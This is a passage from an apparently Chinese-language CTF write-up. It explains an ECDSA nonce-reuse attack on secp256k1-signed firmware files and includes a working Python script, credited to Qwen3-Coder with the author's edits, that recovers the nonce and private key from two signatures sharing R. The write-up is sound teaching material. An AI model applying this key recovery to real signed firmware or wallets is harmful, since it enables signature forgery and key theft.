</span></span><span class="line"><span class="ln">3</span><span class="cl">758990b2130178e5aa4501e0da0fa9fa02a82c94f9f137664e43562d040d
</span></span><span class="line"><span class="ln">4</span><span class="cl">68b21262
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">➜  xxd -p .<span class="se">\E</span>CUC.hex.sig
</span></span><span class="line"><span class="ln">7</span><span class="cl">cb8f2f4901e5dc0610a562309a0ba238289edd5a6a819a115ca3b2ac802e
</span></span><span class="line"><span class="ln">8</span><span class="cl">7589ab711a35e232b03c5baa9ad2d1f3f74d348381ff31203ab3ce66f598
</span></span><span class="line"><span class="ln">9</span><span class="cl">0de2f945</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Powershell里用<code>Format-Hex .\ECUC.hex.sig</code>也能看</p>
<p>根据前面的<code>SECP256k1</code>就可以知道这是ECDSA算法了，学习这个请看：<a
  href="https://zhuanlan.zhihu.com/p/97953640ECDSA" rel="nofollow noopener noreferrer" target="_blank"
  >https://zhuanlan.zhihu.com/p/97953640ECDSA<span style="user-select:none"> ↗</span></a
>
，ECDSA算法的签名，前一半是R，后一半是S，160-bit q 的情况，每部分是20字节，这题是<code>SECP256k1</code>，每个部分32字节。</p>
<p>前32个字节（R）一样就是k一样，可以通过 重复k攻击（nonce重用攻击） 恢复私钥，这个攻击是不需要公钥的，这一题给公钥是为了让我们验证用的。比如用私钥签发一个文件，用公钥验证一下。</p>
<p>需要两个参数</p>
<ol>
<li><strong>椭圆曲线参数</strong> (secp256k1)</li>
<li><strong>两个消息的哈希值</strong> (z1 和 z2)</li>
</ol>
<p>这里Qwen3-Coder再次出手，加上我的改造：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">  1</span><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="c1"># -*- coding: utf-8 -*-</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="s2">ECDSA私钥恢复工具
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="s2">通过两个使用相同nonce的签名来恢复私钥
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="s2">无需公钥
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">
</span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">    <span class="c1"># 文件名配置</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">    <span class="n">sig_file1</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUB.hex.sig&#34;</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">    <span class="n">sig_file2</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUC.hex.sig&#34;</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">    <span class="n">msg_file1</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUB.hex&#34;</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">    <span class="n">msg_file2</span> <span class="o">=</span> <span class="s2">&#34;challenge_signed_firmware_files\ECUC.hex&#34;</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">    <span class="c1"># secp256k1曲线参数</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="mh">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span>  <span class="c1"># 阶数</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;=== ECDSA私钥恢复工具 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件1: </span><span class="si">{</span><span class="n">sig_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件2: </span><span class="si">{</span><span class="n">sig_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;消息文件1: </span><span class="si">{</span><span class="n">msg_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;消息文件2: </span><span class="si">{</span><span class="n">msg_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;曲线阶数 n = 0x</span><span class="si">{</span><span class="n">n</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">    <span class="nb">print</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">        <span class="c1"># 读取签名文件</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;=== 读取签名数据 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">        <span class="n">r1</span><span class="p">,</span> <span class="n">s1</span> <span class="o">=</span> <span class="n">read_sig_file</span><span class="p">(</span><span class="n">sig_file1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">        <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span> <span class="o">=</span> <span class="n">read_sig_file</span><span class="p">(</span><span class="n">sig_file2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="c1"># 计算消息哈希</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 计算消息哈希 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">        <span class="n">z1</span> <span class="o">=</span> <span class="n">get_file_hash</span><span class="p">(</span><span class="n">msg_file1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">        <span class="n">z2</span> <span class="o">=</span> <span class="n">get_file_hash</span><span class="p">(</span><span class="n">msg_file2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">        <span class="c1"># 恢复私钥</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">        <span class="n">k</span><span class="p">,</span> <span class="n">private_key</span> <span class="o">=</span> <span class="n">recover_private_key</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="n">s1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span><span class="p">,</span> <span class="n">z1</span><span class="p">,</span> <span class="n">z2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">        <span class="c1"># 输出结果</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 最终结果 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;使用的Nonce (十六进制): 0x</span><span class="si">{</span><span class="n">k</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;使用的Nonce (十进制): </span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;恢复的私钥 (十六进制): 0x</span><span class="si">{</span><span class="n">private_key</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;恢复的私钥 (十进制): </span><span class="si">{</span><span class="n">private_key</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">    <span class="k">except</span> <span class="ne">FileNotFoundError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;错误: 找不到文件 - </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;请确保以下文件存在:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">sig_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">sig_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">msg_file1</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  - </span><span class="si">{</span><span class="n">msg_file2</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;错误: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">
</span></span><span class="line"><span class="ln"> 61</span><span class="cl"><span class="k">def</span> <span class="nf">read_sig_file</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="s2">&#34;&#34;&#34;读取sig文件并解析ECDSA签名&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">            <span class="n">hex_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> 内容: </span><span class="si">{</span><span class="n">hex_data</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="k">except</span> <span class="ne">FileNotFoundError</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">        <span class="c1"># 如果文件不存在，直接使用文件名作为hex字符串</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;.sig&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">),</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">            <span class="n">hex_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">    
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="c1"># 解析签名数据</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">:</span>  <span class="c1"># 至少64字节</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="c1"># 假设前64字节是r和s</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="n">r_hex</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[:</span><span class="mi">64</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">s_hex</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r_hex</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">s_hex</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  r = 0x</span><span class="si">{</span><span class="n">r</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  s = 0x</span><span class="si">{</span><span class="n">s</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">        <span class="k">return</span> <span class="n">r</span><span class="p">,</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;签名文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> 数据不足&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl"><span class="k">def</span> <span class="nf">get_file_hash</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">    <span class="s2">&#34;&#34;&#34;计算文件的SHA-256哈希值&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">        <span class="n">hash_value</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">content</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">hash_int</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">hash_value</span><span class="p">,</span> <span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;文件 </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2"> SHA256: </span><span class="si">{</span><span class="n">hash_int</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">return</span> <span class="n">hash_int</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">
</span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="k">def</span> <span class="nf">recover_private_key</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="n">s1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">s2</span><span class="p">,</span> <span class="n">z1</span><span class="p">,</span> <span class="n">z2</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="s2">&#34;&#34;&#34;通过两个签名恢复私钥&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">=== 私钥恢复计算 ===&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="c1"># 检查是否使用了相同的r值（nonce重用）</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="k">if</span> <span class="n">r1</span> <span class="o">!=</span> <span class="n">r2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;警告: 两个签名的r值不同，可能不适用nonce重用攻击&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;r1 = 0x</span><span class="si">{</span><span class="n">r1</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;r2 = 0x</span><span class="si">{</span><span class="n">r2</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">    
</span></span><span class="line"><span class="ln">106</span><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">r1</span>  <span class="c1"># 使用第一个签名的r值</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">    
</span></span><span class="line"><span class="ln">108</span><span class="cl">    <span class="c1"># 计算 nonce k = (z1 - z2) / (s1 - s2) mod n</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">    <span class="n">s_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">s1</span> <span class="o">-</span> <span class="n">s2</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">    <span class="n">z_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">z1</span> <span class="o">-</span> <span class="n">z2</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">    
</span></span><span class="line"><span class="ln">112</span><span class="cl">    <span class="c1"># 处理负数</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">    <span class="k">if</span> <span class="n">s_diff</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;s1 == s2，无法计算，请检查数据&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">    
</span></span><span class="line"><span class="ln">116</span><span class="cl">    <span class="k">if</span> <span class="n">s_diff</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">        <span class="n">s_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">s_diff</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="k">if</span> <span class="n">z_diff</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">        <span class="n">z_diff</span> <span class="o">=</span> <span class="p">(</span><span class="n">z_diff</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">    
</span></span><span class="line"><span class="ln">121</span><span class="cl">    <span class="c1"># 计算k</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">    <span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">z_diff</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">s_diff</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Nonce (k) = 0x</span><span class="si">{</span><span class="n">k</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">    
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="c1"># 计算私钥 d = (s1 * k - z1) / r mod n</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">s1</span> <span class="o">*</span> <span class="n">k</span> <span class="o">-</span> <span class="n">z1</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl">    <span class="k">if</span> <span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">+</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    
</span></span><span class="line"><span class="ln">130</span><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Private key (d) = 0x</span><span class="si">{</span><span class="n">d</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">    
</span></span><span class="line"><span class="ln">133</span><span class="cl">    <span class="c1"># 验证计算</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">    <span class="n">d_verify</span> <span class="o">=</span> <span class="p">((</span><span class="n">s2</span> <span class="o">*</span> <span class="n">k</span> <span class="o">-</span> <span class="n">z2</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Verification key = 0x</span><span class="si">{</span><span class="n">d_verify</span><span class="si">:</span><span class="s2">064x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">136</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Keys match: </span><span class="si">{</span><span class="n">d</span> <span class="o">==</span> <span class="n">d_verify</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">137</span><span class="cl">    
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">,</span> <span class="n">d</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">
